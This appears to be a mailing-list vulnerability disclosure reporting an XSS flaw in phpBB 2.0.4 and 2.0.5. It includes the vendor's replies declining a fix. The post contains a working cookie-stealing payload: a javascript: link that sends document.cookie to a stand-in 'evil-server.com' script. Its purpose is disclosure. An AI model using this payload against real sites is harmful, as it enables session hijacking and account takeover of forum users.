XSS vulnerability in phpBB

[Marvin Massih <GroennDemon () web de>]

Hi,

I have found a dangerous vunlerability in phpBB.
I've verified that versions 2.0.5 and 2.0.4 (AFAIK the two latest versions)
are affected, but probably more versions are vulnerable.

If HTML is enabled for postings, a user can post a link like this:

<a 
href="javascript:document.location.replace('http://www.evil-server.com/cgi-bin/evil.cgi?stolen_cookie=&apos; 
+ document.cookie);">Click me, I'm innocent</a>

If a user clicks it, his cookie will be sent to the attacker, which he 
can use to log on as the user if autologon is enabled.

I reported this vulnerability to the phpBB developers (which wasn't 
that  easy as they had trouble with their mail server), that was about 
three weeks ago.

However, the developers don't want to fix it:

"The main developer decided that this isn't a security issue, because it 
is not able to re-parse every single allowed html tag. The bbcode tag 
[url] is absolutely suitable for displaying urls, therefore allowing the 
a html tag is a risk the Administrator has to take."

Again, I asked them to fix it, I couldn't believe they were serious.
This time I told them they should do something soon - or at least tell 
me that they're working on it - , otherwise I'd finally publish the 
information.

The response was:

"Actually, after second thoughts I don't see this issue as a security 
flaw on our side, enabling unchecked HTML is taking the same risk as 
allowing users to use <script> tags. I'm in favor of putting a notice 
warning the admin of the potential security risk when enabling given 
tags but trying to fix that on our side will cause more problems that it 
will solve."

So, I'm publishing this information now, hoping that this will help.

AFAIK a new version, 2.0.6 is out now, but as they refused fixing this 
issue I don't know if there is any difference.

Regards,

Marvin